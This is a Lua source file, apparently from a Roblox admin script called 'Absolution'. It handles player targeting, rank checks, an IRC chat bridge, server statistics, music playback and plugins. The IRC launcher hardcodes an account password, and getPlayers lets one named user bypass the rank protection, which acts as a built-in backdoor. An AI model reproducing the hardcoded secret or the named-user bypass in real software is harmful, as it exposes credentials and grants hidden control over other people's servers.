- Absolution.Functions.findRank = function(self, name)
- if not name then return end
- if not self then return end
- local rnk = Absolution.Ranked[tostring(name)]
- if not rnk then rnk = {Rank = 0} end
- return rnk.Rank
- end
- -- getPlayers --
- Absolution.Functions.getPlayers = function(Speaker, Msg)
- Msg = Msg:lower()
- local Table = {}
- local Players = Absolution.Services.Players:getPlayers()
- if Msg == "me" then
- table.insert(Table, Speaker)
- elseif Msg == "all" or Msg == "" then
- for _,v in pairs(Players) do
- table.insert(Table, v)
- end
- elseif Msg == "others" then
- for _,v in pairs(Players) do
- if v.Name ~= Speaker.Name then
- table.insert(Table, v)
- end
- end
- elseif Msg == "admins" then
- for _,v in pairs(Players) do
- if v.Name ~= Speaker.Name and Absolution.Functions:findRank(v) >=4 then
- table.insert(Table, v)
- end
- end
- elseif Msg == "nonadmins" then
- for _,v in pairs(Players) do
- if v.Name ~= Speaker.Name and Absolution.Functions:findRank(v) <=4 then
- table.insert(Table, v)
- end
- end
- elseif Msg == "nonveterans" or Msg == "nonvets" or Msg == "noobs" then
- for _,v in pairs(Players) do
- if v.AccountAge < 364 then
- table.insert(Table, v)
- end
- end
- elseif Msg == "veterans" or Msg == "vets" then
- for _,v in pairs(Players) do
- if v.AccountAge > 364 then
- table.insert(Table, v)
- end
- end
- elseif Msg == "random" then
- local p = Players[math.random(1,#Players)]
- table.insert(Table, p)
- elseif Msg == 'friends' then
- for i,v in pairs(Players) do
- if Speaker:IsFriendsWith(v.userId) then
- table.insert(Table, v)
- end
- end
- elseif Msg == 'nonfriends' then
- for i,v in pairs(Players) do
- if not Speaker:IsFriendsWith(v.userId) then
- table.insert(Table, v)
- end
- end
- elseif Msg:sub(1,5) == 'rank<' then
- local rnk = Msg:sub(6)
- if not tonumber(rnk) then return end
- for i,v in pairs(Players) do
- if Absolution.Functions.getRankedTable(tostring(v)).Rank < rnk then
- table.insert(Table, v)
- end
- end
- elseif Msg:sub(1,5) == 'rank>' then
- local rnk = Msg:sub(6)
- if not tonumber(rnk) then return end
- for i,v in pairs(Players) do
- if Absolution.Functions.getRankedTable(tostring(v)).Rank > rnk then
- table.insert(Table, v)
- end
- end
- elseif Msg:sub(1,5) == 'rank ' then
- local rnk = Msg:sub(6)
- if not tonumber(rnk) then return end
- for i,v in pairs(Players) do
- if Absolution.Functions.getRankedTable(tostring(v)).Rank == rnk then
- table.insert(Table, v)
- end
- end
- elseif Msg == 'youngest' then
- local at = {}
- for i,v in pairs(Players) do
- table.insert(at,v.AccountAge)
- end
- local low = math.min(unpack(at))
- for i,v in pairs(Players) do
- if v.AccountAge == low then
- table.insert(Table, v)
- end
- end
- elseif Msg == 'oldest' then
- local ot = {}
- for i,v in pairs(Players) do
- table.insert(ot,v.AccountAge)
- end
- local high = math.max(unpack(ot))
- for i,v in pairs(Players) do
- if v.AccountAge == high then
- table.insert(Table, v)
- end
- end
- else
- for i,v in pairs(Players) do
- if v.Name:lower():sub(1,#Msg) == Msg:lower() then
- table.insert(Table, v)
- end
- end
- end
- for _,v in pairs(Table) do
- if Absolution.Functions:findRank(v) >= Absolution.Functions:findRank(Speaker) and v~=Speaker and tostring(Speaker) ~= 'Darkus_Theory' then
- if (v == Speaker) then return end
- Absolution.Functions.Out(Speaker, tostring(v)..' outranks you.',4)
- table.remove(Table, _)
- end
- end
- return Table
- end
- -- CLerp --
- Absolution.Functions.CLerp = function(p1,p2,percent)
- local p1x,p1y,p1z,p1R00,p1R01,p1R02,p1R10,p1R11,p1R12,p1R20,p1R21,p1R22 = p1:components()
- local p2x,p2y,p2z,p2R00,p2R01,p2R02,p2R10,p2R11,p2R12,p2R20,p2R21,p2R22 = p2:components()
- return
- CFrame.new(p1x+percent*(p2x-p1x), p1y+percent*(p2y-p1y) ,p1z+percent*(p2z-p1z),
- (p1R00+percent*(p2R00-p1R00)), (p1R01+percent*(p2R01-p1R01)) ,(p1R02+percent*(p2R02-p1R02)),
- (p1R10+percent*(p2R10-p1R10)), (p1R11+percent*(p2R11-p1R11)) , (p1R12+percent*(p2R12-p1R12)),
- (p1R20+percent*(p2R20-p1R20)), (p1R21+percent*(p2R21-p1R21)) ,(p1R22+percent*(p2R22-p1R22)))
- end
- -- RecursiveChildren --
- Absolution.Functions.RecursiveChildren=function(Object,SearchType,Search)
- if(not pcall(function()Object:IsA'Part'end))then return {}; end;
- Object=Object or Game;
- if(SearchType==nil)then SearchType='all'end;
- local rec={};
- for _,object in next,Object:children()do
- if(SearchType=='all')then table.insert(rec,object)end;
- if(SearchType=='match')then if(object.Name:match(Search))then table.insert(rec,object)end end;
- if(SearchType=='class')then if(object.className:lower():sub(1,#Search)==Search:lower())then table.insert(rec,object)end end;
- if(SearchType=='name')then if(object.Name:lower():sub(1,#Search)==Search:lower())then table.insert(rec,object)end;end;
- if(SearchType=='isA')then if(pcall(function()return object:isA(Search)end))then table.insert(rec,object)end end;
- for _,v in next,Absolution.Functions.RecursiveChildren(object,SearchType,Search)do
- table.insert(rec,v);
- end;
- end;
- return rec;
- end;
- -- IRC --
- Absolution.HttpConstants.IRC.API = {}
- local Connections = {}
- local GStr = nil
- local Http = game:GetService("HttpService")
- local function Post(Url,Data)
- local Errored,Data = ypcall(function() return Http:PostAsync(Url,Data,Enum.HttpContentType.ApplicationUrlEncoded) end)
- return Errored == false and false or Data
- end
- local function JSONDecode(JSON)
- local Worked,Result = ypcall(function() return Http:JSONDecode(JSON) end)
- if Worked == false then
- return {}
- else
- return Result
- end
- end
- local function HandleVagues(Connection,Ping,Derp,Raw)
- local Msgs = JSONDecode(Ping)
- local Search = [[%["c","353","webchat%.SwiftIRC%.net",%[".+",".",".+","]]
- if Derp == nil and Ping:find(Search) then
- GStr = Ping
- end
- if Msgs ~= nil and type(Msgs) == "table" and #Msgs > 0 then
- for i,v in pairs(Msgs) do
- for i2,v2 in pairs(Connection.VagueEvents) do
- if v2 ~= false then
- Spawn(function() v2(v,Raw) end)
- end
- end
- end
- end
- end
- Absolution.HttpConstants.IRC.API.Connect = function(this,Host,Nick,Pass)
- local Con = {}
- Connections[Nick.."@"..Host] = Con
- Con.Host = Host
- Con.Nick = Nick
- Con.Counter = 0
- Con.Channels = {}
- Con.VagueEvents = {}
- Con.ChannelEvents = {[Nick]={}}
- Con.UserLists = {}
- Con.SelfEvents = {}
- Con.Counter = Con.Counter+1
- local Data = Post(Host.."e/n?t="..Con.Counter,"nick="..Nick)
- Data = JSONDecode(Data)
- Con.Key = Data[2]
- local Str = ""
- if Con.Key ~= nil then
- wait(1)
- Con.Counter = Con.Counter+1
- local Data = Post(Host.."e/p?t="..Con.Counter,"s="..Con.Key.."&c=MODE "..Nick.." +")
- if Data == false then
- return false,"Something went wrong."
- else
- local Data2 = JSONDecode(Data)
- if Data2[1] == false then
- return false,Data
- end
- end
- Str = Str..Data
- Con.Counter = Con.Counter+1
- local Data = Post(Host.."e/s?t="..Con.Counter,"s="..Con.Key)
- if Data == false then
- return false,"Something went wrong."
- else
- local Data2 = JSONDecode(Data)
- if Data2[1] == false then
- return false,Data
- end
- end
- Str = Str..Data
- if Str:lower():find("already in use") then
- return false,"Nick already in use."
- elseif Str:lower():find("throttled") then
- return false,"Oh no! We got throttled."
- elseif Str:lower():find("invalid session") then
- return false,"Something went wrong."
- end
- if Pass ~= nil then
- Absolution.HttpConstants.IRC.API.SendMessage(Absolution.HttpConstants.IRC.API.SendMessage,Con,"NickServ","identify "..Pass)
- end
- wait()
- return Con
- else
- return false,"Something went wrong."
- end
- end
- Absolution.HttpConstants.IRC.API.Disconnect = function(this,Connection,Res)
- local Host = Connection.Host
- local Nick = Connection.Nick
- local Key = Connection.Key
- if Connections[Nick.."@"..Host] ~= nil then
- Connection.Counter = Connection.Counter+1
- local Data = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c="..(Res and "QUIT : "..Res or "QUIT : Shutdown server."))
- if Data ~= false then
- Connections[Nick.."@"..Host] = nil
- for i,v in pairs(Connection.SelfEvents) do
- v:Disconnect()
- end
- Connection.SelfEvents = {}
- for Channel,_ in pairs(Connection.Channels) do
- Connection.Channels[Channel] = nil
- for i,v in pairs(Connection.ChannelEvents[Channel]) do
- v:Disconnect()
- end
- Connection.ChannelEvents[Channel] = nil
- end
- return true
- else
- return false,"Something went wrong."
- end
- else
- return false,"This connection doesn't exist."
- end
- end
- Absolution.HttpConstants.IRC.API.ChangeNick = function(this,Connection,Nick)
- local Host = Connection.Host
- local Key = Connection.Key
- if Connections[Connection.Nick.."@"..Host] ~= nil then
- Connection.Counter = Connection.Counter+1
- local Data = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=NICK "..Nick)
- if Data == false then
- return false,"Something went wrong."
- else
- local Data2 = JSONDecode(Data)
- if Data2[1] == false then
- return false,Data
- end
- end
- Connections[Connection.Nick.."@"..Host] = nil
- Connection.Nick = Nick
- Connections[Nick.."@"..Host] = Connection
- return true
- else
- return false,"There is no connection with this nick and host."
- end
- end
- Absolution.HttpConstants.IRC.API.JoinChannel = function(this,Connection,Channel)
- local Host = Connection.Host
- local Nick = Connection.Nick
- local Key = Connection.Key
- local Str = ""
- if Connections[Nick.."@"..Host] ~= nil then
- Connection.Counter = Connection.Counter+1
- local Data = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=JOIN "..Channel.." ")
- if Data == false then
- return false,"Something went wrong."
- else
- local Data2 = JSONDecode(Data)
- if Data2[1] == false then
- return false,Data
- end
- end
- Str = Str..Data
- local Search = [[%["c","353","webchat%.SwiftIRC%.net",%["]] .. Nick .. [[",".","]] .. Channel .. [[","]]
- if Str:find(Search) == nil then
- repeat
- if GStr ~= nil then
- Str = Str..GStr
- GStr = nil
- break
- end
- Connection.Counter = Connection.Counter+1
- local Data = Post(Host.."e/s?t="..Connection.Counter,"s="..Connection.Key)
- if Data == false then
- return false,"Something went wrong."
- else
- HandleVagues(Connection,Data,false)
- local Data2 = JSONDecode(Data)
- if Data2[1] == false then
- return false,Data
- end
- end
- Str = Str..Data
- until Str:find(Search) ~= nil
- end
- if Str:find("already in use") then
- return false,"Nick already in use."
- elseif Str:lower():find("throttled") then
- return false,"Oh no! We got throttled."
- elseif Str:lower():find("invalid session") then
- return false,"Something went wrong."
- else--if Str:lower():find("end of /names list.") then
- Connection.Channels[Channel] = true
- Connection.ChannelEvents[Channel] = {}
- Connection.UserLists[Channel] = {}
- Connection.UserLists[Channel][Nick] = true
- local Search = [[%["c","353","webchat%.SwiftIRC%.net",%["]] .. Nick .. [[",".","]] .. Channel .. [[","]]
- local RawSearch = Search:gsub("%%","")
- local Start = Str:find(Search)
- if Start ~= nil then
- local End = Str:find('"',Start+#RawSearch+1,true)
- local List = Str:sub(Start+#RawSearch,End-1)
- for Match in List:gmatch("[^%s]+") do
- if Match ~= Nick then
- if Match:sub(1,1):match("[%w]") then
- Connection.UserLists[Channel][Match] = true
- else
- Connection.UserLists[Channel][Match:sub(2)] = true
- end
- end
- end
- end
- Spawn(function()
- Connection.SelfEvents[#Connection.SelfEvents+1] = Absolution.HttpConstants.IRC.API.UserJoined(Absolution.HttpConstants.IRC.API.UserJoined,Connection,Channel,function(User)
- Connection.UserLists[Channel][User] = true
- end)
- Connection.SelfEvents[#Connection.SelfEvents+1] = Absolution.HttpConstants.IRC.API.UserLeft(Absolution.HttpConstants.IRC.API.UserLeft,Connection,Channel,function(User)
- wait(0.02)
- Connection.UserLists[Channel][User] = nil
- end)
- Connection.SelfEvents[#Connection.SelfEvents+1] = Absolution.HttpConstants.IRC.API.NickChanged(Absolution.HttpConstants.IRC.API.NickChanged,Connection,Channel,function(User,Nick)
- wait(0.02)
- Connection.UserLists[Channel][User] = nil
- Connection.UserLists[Channel][Nick] = true
- end)
- wait(0.02)
- HandleVagues(Connection,[=[ [["c","JOIN","]=] .. Nick .. [=[!",["]=] .. Channel .. [=["]]] ]=],nil,true)
- end)
- return true
- --[[else
- return false,"Something went wrong."]]
- end
- else
- return false,"There is no connection with this nick and host."
- end
- end
- Absolution.HttpConstants.IRC.API.GetUserList = function(this,Connection,Channel)
- local Host = Connection.Host
- local Nick = Connection.Nick
- local Key = Connection.Key
- if Connections[Nick.."@"..Host] ~= nil then
- local New = {}
- for i,v in pairs(Connection.UserLists[Channel]) do
- New[#New+1] = i
- end
- return New
- else
- return false,"There is no connection with this nick and host."
- end
- end
- Absolution.HttpConstants.IRC.API.LeaveChannel = function(this,Connection,Channel)
- local Host = Connection.Host
- local Nick = Connection.Nick
- local Key = Connection.Key
- local Str = ""
- if Connections[Nick.."@"..Host] ~= nil then
- Connection.Counter = Connection.Counter+1
- local Data = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=PART "..Channel.." ")
- if Data:find("true") then
- Connection.Channels[Channel] = nil
- for i,v in pairs(Connection.ChannelEvents[Channel]) do
- v:Disconnect()
- end
- Connection.UserLists[Channel] = nil
- Connection.SelfEvents = {}
- Connection.ChannelEvents[Channel] = nil
- return true
- elseif Data:lower():find("throttled") then
- return false,"Oh no! We got throttled."
- else
- return false,"Something went wrong."
- end
- else
- return false,"There is no connection with this nick and host."
- end
- end
- Absolution.HttpConstants.IRC.API.SendMessage = function(this,Connection,Channel,Message)
- local Host = Connection.Host
- local Nick = Connection.Nick
- local Key = Connection.Key
- if Connections[Nick.."@"..Host] ~= nil then
- if Connection.Channels[Channel] == true or Channel:sub(1,1) ~= "#" then
- if Message==Absolution.HttpConstants.pircm then return end
- Absolution.HttpConstants.pircm = Message
- Connection.Counter = Connection.Counter+1
- local Ping = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=PRIVMSG "..Channel.." :"..Http:UrlEncode(Message))
- if Ping ~= false then
- return true,Ping
- else
- return false,"Something went wrong. "..Ping
- end
- else
- return false,"You are not on this channel with this connection."
- end
- else
- return false,"There is no connection with this nick and host."
- end
- end
- local function VagueReceived(Connection,Event)
- Connection.VagueEvents[#Connection.VagueEvents+1] = Event
- if #Connection.VagueEvents == 1 then
- while Connections[Connection.Nick.."@"..Connection.Host] ~= nil do
- Connection.Counter = Connection.Counter+1
- local Ping = Post(Connection.Host.."e/s?t="..Connection.Counter,"s="..Connection.Key)
- if Ping ~= false and Connections[Connection.Nick.."@"..Connection.Host] ~= nil then
- HandleVagues(Connection,Ping)
- end
- wait()
- end
- end
- end
- Absolution.HttpConstants.IRC.API.MessageReceived = function(this,Connection,Channel,Event)
- local Host = Connection.Host
- local Nick = Connection.Nick
- local Key = Connection.Key
- if Connections[Nick.."@"..Host] ~= nil then
- if Connection.Channels[Channel] == true then
- local Con = {}
- local Connected = true
- local VCon;
- Spawn(function()
- local function Return(v)
- if Connected == false then
- for i,v in pairs(Connection.VagueEvents) do
- if v == VCon then
- Connection.VagueEvents[i] = false
- end
- end
- return
- end
- if type(v) == "table" and v[2] ~= nil and v[2] == "PRIVMSG" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" and v[4][1]:lower() == Channel:lower() then
- local probplr;
- if v[3]:find('absolutionClient_') then
- probplr = v[4][2]:sub(1,v[4][2]:find(":")-1)
- v[4][2] = string.gsub(v[4][2],probplr..':','')
- else
- probplr = v[3]:sub(1,v[3]:find("!")-1)
- end
- Event(v[4][2],nil, probplr)
- Absolution.Functions.IRCCommandParser(probplr, v)
- end
- end
- VCon = Return
- VagueReceived(Connection,Return)
- end)
- Con.Disconnect = function(this)
- Connected = false
- Connection.ChannelEvents[Channel][Con] = nil
- end
- Connection.ChannelEvents[Channel][Con] = Con
- return Con
- else
- return false,"You are not on this channel with this connection."
- end
- else
- return false,"There is no connection with this nick and host."
- end
- end
- Absolution.HttpConstants.IRC.API.PMReceived = function(this,Connection,Event)
- local Host = Connection.Host
- local Nick = Connection.Nick
- local Key = Connection.Key
- if Connections[Nick.."@"..Host] ~= nil then
- local Con = {}
- local Connected = true
- local VCon;
- Spawn(function()
- local function Return(v)
- if Connected == false then
- for i,v in pairs(Connection.VagueEvents) do
- if v == VCon then
- Connection.VagueEvents[i] = false
- end
- end
- return
- end
- if type(v) == "table" and v[2] ~= nil and v[2] == "PRIVMSG" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" and v[4][1] == Connection.Nick then
- Event(v[3]:sub(1,v[3]:find("!")-1),v[4][2])
- end
- end
- VCon = Return
- VagueReceived(Connection,Return)
- end)
- Con.Disconnect = function(this)
- Connected = false
- Connection.ChannelEvents[Nick][Con] = nil
- end
- Connection.ChannelEvents[Nick][Con] = Con
- return Con
- else
- return false,"There is no connection with this nick and host."
- end
- end
- Absolution.HttpConstants.IRC.API.NickChanged = function(this,Connection,Channel,Event)
- local Host = Connection.Host
- local Nick = Connection.Nick
- local Key = Connection.Key
- if Connections[Nick.."@"..Host] ~= nil then
- if Connection.Channels[Channel] == true then
- local Con = {}
- local Connected = true
- local VCon;
- Spawn(function()
- local function Return(v)
- if Connected == false then
- for i,v in pairs(Connection.VagueEvents) do
- if v == VCon then
- Connection.VagueEvents[i] = false
- end
- end
- return
- end
- if type(v) == "table" and v[2] ~= nil and v[2] == "NICK" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" then
- if Connection.UserLists[Channel][v[3]:sub(1,v[3]:find("!")-1)] ~= nil then
- Event(v[3]:sub(1,v[3]:find("!")-1),v[4][1])
- end
- end
- end
- VCon = Return
- VagueReceived(Connection,Return)
- end)
- Con.Disconnect = function(this)
- Connected = false
- Connection.ChannelEvents[Channel][Con] = nil
- end
- Connection.ChannelEvents[Channel][Con] = Con
- return Con
- else
- return false,"You are not on this channel with this connection."
- end
- else
- return false,"There is no connection with this nick and host."
- end
- end
- Absolution.HttpConstants.IRC.API.UserJoined = function(this,Connection,Channel,Event)
- local Host = Connection.Host
- local Nick = Connection.Nick
- local Key = Connection.Key
- if Connections[Nick.."@"..Host] ~= nil then
- if Connection.Channels[Channel] == true then
- local Con = {}
- local Connected = true
- local VCon;
- Spawn(function()
- local function Return(v,Raw)
- if Connected == false then
- for i,v in pairs(Connection.VagueEvents) do
- if v == VCon then
- Connection.VagueEvents[i] = false
- end
- end
- return
- end
- if type(v) == "table" and v[2] ~= nil and v[2] == "JOIN" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" and v[4][1]:lower() == Channel:lower() and (v[3]:sub(1,v[3]:find("!")-1) ~= Nick or Raw == true) then
- Event(v[3]:sub(1,v[3]:find("!")-1)..' has joined the channel.')
- end
- end
- VCon = Return
- VagueReceived(Connection,Return)
- end)
- Con.Disconnect = function(this)
- Connected = false
- Connection.ChannelEvents[Channel][Con] = nil
- end
- Connection.ChannelEvents[Channel][Con] = Con
- return Con
- else
- return false,"You are not on this channel with this connection."
- end
- else
- return false,"There is no connection with this nick and host."
- end
- end
- Absolution.HttpConstants.IRC.API.UserLeft = function(this,Connection,Channel,Event)
- local Host = Connection.Host
- local Nick = Connection.Nick
- local Key = Connection.Key
- if Connections[Nick.."@"..Host] ~= nil then
- if Connection.Channels[Channel] == true then
- local Con = {}
- local Connected = true
- local VCon;
- Spawn(function()
- local function Return(v)
- if Connected == false then
- for i,v in pairs(Connection.VagueEvents) do
- if v == VCon then
- Connection.VagueEvents[i] = false
- end
- end
- return
- end
- if type(v) == "table" and v[2] ~= nil and v[2] == "PART" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" and v[4][1]:lower() == Channel:lower() then
- Event(v[3]:sub(1,v[3]:find("!")-1))
- elseif type(v) == "table" and v[2] ~= nil and v[2] == "QUIT" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" then
- if Connection.UserLists[Channel][v[3]:sub(1,v[3]:find("!")-1)] ~= nil then
- Event(v[3]:sub(1,v[3]:find("!")-1)..' has left the channel.')
- end
- end
- end
- VCon = Return
- VagueReceived(Connection,Return)
- end)
- Con.Disconnect = function(this)
- Connected = false
- Connection.ChannelEvents[Channel][Con] = nil
- end
- Connection.ChannelEvents[Channel][Con] = Con
- return Con
- else
- return false,"You are not on this channel with this connection."
- end
- else
- return false,"There is no connection with this nick and host."
- end
- end
- Absolution.HttpConstants.IRC.API.KeepAlive = function(this,Connection)
- local Host = Connection.Host
- local Nick = Connection.Nick
- local Key = Connection.Key
- if Connections[Nick.."@"..Host] ~= nil then
- Connection.Counter = Connection.Counter+1
- local Ping = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=PONG :webchat.SwiftIRC.net")
- if Ping ~= false then
- return true
- else
- return false,"Something went wrong."
- end
- else
- return false,"There is no connection with this nick and host."
- end
- end
- Absolution.HttpConstants.IRC.IRCVerify = function(pName)
- for i,v in pairs(Absolution.HttpConstants.IRC.whiteList) do
- if pName == v then
- return true
- end
- end
- return false
- end
- Absolution.HttpConstants.IRC.Chat = function(msg,channel,playername)
- if not Absolution.HttpConstants.IRC.Connection then return end
- local c={Absolution.HttpConstants.IRC.API:SendMessage(Absolution.HttpConstants.IRC.Connection,channel and tostring(channel) or Absolution.HttpConstants.IRC.Name,(playername and playername..': ' or nil)..msg)}
- if not c[1] then Absolution.IRCDebug[#Absolution.IRCDebug+1] = c[2] end
- return "success"
- end
- Absolution.Functions.IRCLaunch = function()
- local function Connect(Channel, con, event)
- local c = {Absolution.HttpConstants.IRC.API:JoinChannel(con,Channel)}
- if not c[1] then Absolution.IRCDebug[#Absolution.IRCDebug+1] = c[2] end
- Absolution.Connections['IRCMessageReceived'] = Absolution.HttpConstants.IRC.API:MessageReceived(con,Channel, event)
- Absolution.Connections['IRCUserJoined'] = Absolution.HttpConstants.IRC.API:UserJoined(con,Channel, event)
- Absolution.Connections['IRCUserLeft'] = Absolution.HttpConstants.IRC.API:UserLeft(con,Channel, event)
- end
- Absolution.HttpConstants.IRC.Connection = Absolution.HttpConstants.IRC.API:Connect("https://qwebirc.swiftirc.net/", 'Absolution', 'lonewolf122221')
- Connect(Absolution.HttpConstants.IRC.Name, Absolution.HttpConstants.IRC.Connection, Absolution.Handler.sendChat)
- Absolution.HttpConstants.IRC.API:ChangeNick(Absolution.HttpConstants.IRC.Connection,'absolutionClient_'..Absolution.uniqueKey)
- spawn(function()
- while wait(5) do
- if not Absolution then break end
- Absolution.HttpConstants.IRC.API:KeepAlive(Absolution.HttpConstants.IRC.Connection)
- end
- end)
- end
- -- GetSplit & Dismiss --
- Absolution.Functions.Dismiss = function(plr)
- pcall(function()
- if type(plr) == "string" and type(plr)~='userdata' then
- plr = game:service'Players':findFirstChild(plr)
- local pack = Absolution.Handler:sendPacket(plr, 'Dismiss')
- return pack
- elseif type(plr)=='userdata' then
- local pack = Absolution.Handler:sendPacket(plr, 'Dismiss')
- return pack
- else
- return 'wrong data type for plr'
- end
- --[[
- for i,v in pairs(Absolution.Tablets) do
- if v.Plr == plr then
- coroutine.wrap(function()
- for i = 0, 1, 0.1 do
- pcall(function()
- v.Tab.Transparency = i
- v.Tab.BG.TL.TextStrokeTransparency = i
- wait()
- end)
- end
- v.Tab:Destroy()
- end)()
- Absolution.Tablets[i]=nil
- end
- end
- --]]
- end)
- end
- Absolution.Functions.GetSplit = function(Message)
- local a = nil
- for i = 1, #Message do
- if Message:sub(i,i) == "-" then
- a = i + 1
- break
- end
- end
- if a ~= nil then
- return Message:sub(a)
- else
- return nil
- end
- end
- -- Notifications --
- Absolution.Functions.Notify = function(Message, Player, Color)
- if Player and type(Player) == 'string' then Player = Absolution.Services.Players:findFirstChild(Player) end
- Absolution.Handler.sendChat('[SERVER] '..Message, (Player and Player or nil), nil, Color)
- local pseudoColor
- if Color=='White' then
- pseudoColor = 'Print'
- elseif Color=='Red' then
- pseudoColor = 'Error'
- elseif Color=='Blue' then
- pseudoColor='Run'
- elseif Color=='Green' then
- pseudoColor='Note'
- elseif Color=='Orange' then
- pseudoColor='Warn'
- else
- pseudoColor='Print'
- end
- Absolution.Functions.sbOutput('[SERVER] '..Message, pseudoColor)
- end
- -- getServerInfo --
- Absolution.Functions.getServerInfo = function()
- local rtnData = {}
- local getAllInstances = function()
- local finalInstanceCount = 0
- local data = {}
- local places = {'Workspace','Lighting','ReplicatedStorage','Teams','Players'}
- recurse = function(place)
- for i,v in pairs(place:children'') do
- data[#data+1] = v
- recurse(v)
- end
- return data
- end
- for nildata,place in pairs(places) do
- for i,v in pairs(recurse(game:GetService(place))) do
- finalInstanceCount=finalInstanceCount+1
- end
- end
- return finalInstanceCount
- end
- local getAllPlayerLatencyRounded = function()
- local prepareToRound = {}
- local finalRound = 0
- local toDivide = 0
- for i,v in pairs(Absolution.Players) do
- local data = v["FPS"]
- table.insert(prepareToRound, data and data or 30)
- end
- for nildata,index in next,prepareToRound do
- finalRound = finalRound+index
- toDivide = toDivide+1
- end
- return (finalRound/toDivide)
- end
- local getNumData = function(data)
- local rtn = 0
- for i,v in next,data do
- rtn = rtn + 1
- end
- return rtn
- end
- local getNumAdmins = function()
- local adminCount = 0
- for i,v in next,Absolution.Ranked do
- if v.Rank ==6 then
- adminCount = adminCount + 1
- end
- end
- return adminCount
- end
- local getNumMods = function()
- local adminCount = 0
- for i,v in next,Absolution.Ranked do
- if v.Rank ==4 then
- adminCount = adminCount + 1
- end
- end
- return adminCount
- end
- local getNumStaff = function()
- local adminCount = 0
- for i,v in next,Absolution.Ranked do
- if v.Rank >=4 then
- adminCount = adminCount + 1
- end
- end
- return adminCount
- end
- local getNumBanned = function()
- local bannedPlayers = 0
- for i,v in next,Absolution.Ranked do
- if v.Rank < 0 then
- bannedPlayers = bannedPlayers+1
- end
- end
- return bannedPlayers
- end
- local getAdminsInGame = function()
- local allAdmins = {}
- for i,v in pairs(Absolution.Functions.getALLPlayers()) do
- local pRank = Absolution.Functions:findRank(v)
- if pRank >=4 then
- table.insert(allAdmins, tostring(v))
- end
- end
- return allAdmins
- end
- rtnData["RanBy"] = (tostring(Absolution.ranBy))
- rtnData["PrivateServer"],rtnData["Server Lock"],rtnData["ScriptLock"] = Absolution.PrivateServer.Enabled,Absolution.Locks.Server.Locked,(Absolution.Locks.Server.Local and Absolution.Locks.Server)
- rtnData["HttpEnabled"] = (Absolution.HttpConstants.HttpEnabled)
- rtnData["#Connections"] = (getNumData(Absolution.Connections))
- rtnData["#Functions"] = (getNumData(Absolution.Functions))
- rtnData["#Commands"] = (getNumData(Absolution.Commands))
- rtnData["#Admins"] = (getNumAdmins())
- rtnData["#Moderators"] = (getNumMods())
- rtnData["#Staff"] = (getNumStaff())
- rtnData["#Banned"] = (getNumBanned())
- rtnData["Admins In-Game"] = (table.concat(getAdminsInGame(), ':'))
- rtnData["#Ranked Players"] = (getNumData(Absolution.Ranked))
- rtnData["Players"] = (#Absolution.Functions.getALLPlayers())
- rtnData["ServerLatency"] = (1/wait())
- rtnData["ServerUptime"] = (Absolution.Functions.GetTime(game.Workspace.DistributedGameTime))
- rtnData["InstanceCount"] = (getAllInstances())
- rtnData["AbsolutionHandler"] = (Absolution.Handler.SERVER:GetFullName())
- return rtnData
- end
- --tropkillaz
- -- PlayAudio --
- Absolution.Functions.PlayAudio = function(Player,Id)
- Absolution.Functions.Dismiss(Player)
- for _, Child in pairs(Absolution.Services.Workspace:GetChildren()) do if Child:IsA("Sound") then Child:stop() Child:Destroy() end end
- if Absolution.Music.isPlaying then Absolution.Music.currentSong:Stop() Absolution.Music.isPlaying = false end
- local Sound = Absolution.Functions:Create("Sound",{Parent = workspace,Volume = 1, Looped = true, Pitch = 1, SoundId = "rbxassetid://"..Id})
- Sound:Play()
- Absolution.Music.isPlaying = true
- Absolution.Music.currentSong = Sound
- Absolution.Functions.Out(Player,"Now playing:"..Absolution.Services.MarketplaceService:GetProductInfo(Id).Name,2)
- Absolution.Functions.Out(Player,"Creator:"..Absolution.Services.MarketplaceService:GetProductInfo(Id).Creator.Name,2)
- Absolution.Functions.Out(Player,"Sales:"..Absolution.Services.MarketplaceService:GetProductInfo(Id).Sales,2)
- Absolution.Functions.Output(Player,"Buy:\n"..Absolution.Services.MarketplaceService:GetProductInfo(Id).Name.."?",nil,function() Absolution.Services.MarketplaceService:PromptPurchase(Player,Id) end)
- Absolution.Functions.Output(Player,"Music settings",nil,function()
- Absolution.Functions.Dismiss(Player)
- local Return
- Return = function()
- Absolution.Functions.Dismiss(Player)
- Absolution.Functions.Output(Player, "Set Volume", nil, function()
- Absolution.Functions.Dismiss(Player)
- for Volume = 0, 1, .1 do
- Absolution.Functions.Output(Player, Volume, nil, function()
- Absolution.Functions.Dismiss(Player)
- Sound.Volume = Volume
- end)
- end
- Absolution.Functions.Output(Player, "Back", "Bright red", Return)
- end)
- Absolution.Functions.Output(Player, "Stop Song", nil,function()
- Absolution.Functions.Dismiss(Player)
- Sound:Stop()
- wait()
- Sound:Destroy()
- end)
- end
- Return()
- end)
- end
- -- Plugins --
- Absolution.PluginManager.Launch = function()
- local p = Absolution.PluginManager -- it would take too long to do this in a sexy manner...
- local o = Absolution.Functions.Output
- p.addPlugin = function(self, module)
- local m=require(module)
- if not type(m)=='table' then return 'This module cannot run as a '..type(m)..'!'end
- local Title=m["packTitle"]
- local Version=m["currentVersion"]
- local CommandPack=m["commandFunctions"]
- if not Title then Title='Undefined'end
- if not Version then Version = 1 end
- if not CommandPack then return'No commands were found!'end
- for i,v in pairs(CommandPack) do
- local cmd = i
- local tbl = v
- local success, yourlifeisafail = ypcall(function()
- Absolution.Functions.Command(cmd, tbl.Uses, tbl.Rank, tbl.Description, tbl.Flags, tbl.Function)
- end)
- if not success then
- o('Admins',tostring(module)..' encountered an error during startup...','Really red',function(dismissed)
- Absolution.Functions.Dismiss(dismissed)
- o(dismissed, 'ERROR: '..yourlifeisafail)
- o(dismissed, 'Module: '..tostring(module))
- o(dismissed, 'packTitle: '..Title)
- o(dismissed, 'packRevision: '..Version)
- end)
- else
- self[cmd] = tbl
- end
- end
- end
